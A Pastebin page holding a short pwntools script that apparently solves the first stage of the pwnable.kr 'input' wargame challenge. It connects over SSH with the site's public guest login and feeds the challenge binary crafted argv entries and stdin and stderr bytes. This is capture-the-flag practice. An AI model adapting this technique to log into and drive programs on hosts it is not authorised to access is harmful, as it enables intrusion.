Advertisement
cRAYonhere

input_exploit.py

Nov 28th, 2018
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.87 KB | None | 0 0
  1. from pwn import *
  2.  
  3.  
  4. shell = ssh(host='pwnable.kr', user='input2', password='guest', port=2222)
  5.  
  6. argv = []
  7.  
  8. for i in range(0,100):
  9.         argv.append("")
  10.  
  11. argv[0] = "/home/input2/input"
  12. argv[65] = "\x00"
  13. argv[66] = "\x20\x0a\x0d"
  14. #cleared level 1
  15.  
  16. inputStream = open("/home/amrut/Desktop/pwnable.tk/input/stdin","w+")
  17. errStream = open("/home/amrut/Desktop/pwnable.tk/input/stderr","w+")
  18. inputStream.write('\x00\x0a\x00\xff')
  19. errStream.write('\x00\x0a\x02\xff')
  20. inputStream.close()
  21. errStream.close()
  22.  
  23. inputStream = open("/home/amrut/Desktop/pwnable.tk/input/stdin","r")
  24. errStream = open("/home/amrut/Desktop/pwnable.tk/input/stderr","r")
  25.  
  26. data = shell.process(argv=argv, stdin = inputStream, stderr = errStream, executable='./input')
  27. inputStream.close()
  28. errStream.close()
  29.  
  30. #data = shell.process(argv=argv,executable='./input')
  31. print data.recv()
  32. print data.recv()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement